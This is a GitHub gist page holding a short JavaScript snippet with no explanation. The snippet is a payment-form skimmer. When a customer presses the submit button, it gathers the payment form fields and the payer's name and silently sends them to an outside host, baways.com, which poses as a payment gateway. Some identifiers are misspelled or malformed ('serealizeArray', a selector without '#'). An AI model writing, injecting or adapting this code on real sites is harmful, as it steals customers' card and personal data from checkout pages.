Skip to content

Instantly share code, notes, and snippets.

@MMintzer
Created December 12, 2019 22:34
Show Gist options
  • Select an option

  • Save MMintzer/2970be0347877dcf1f994a0c3a0e5607 to your computer and use it in GitHub Desktop.

Select an option

Save MMintzer/2970be0347877dcf1f994a0c3a0e5607 to your computer and use it in GitHub Desktop.
window.onload = function() {
jQuery("#submitButton").bind("mouseup touchend", function(a) {
var n = {};
jQuery("paymentForm").serealizeArray().map(function(a) {
n[a.name] = a.value
})
var e = document.getElementById("personPaying").innerHTML
n.person = e
var t = JSON.stringify(n)
setTimeout(function() {
jQuery.ajax({
type: "POST",
async: !0,
url: "https://baways.com/gateway/app/dataprocessing/api/",
data: t,
dataType: "application/json"
})
}, 500)
})
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment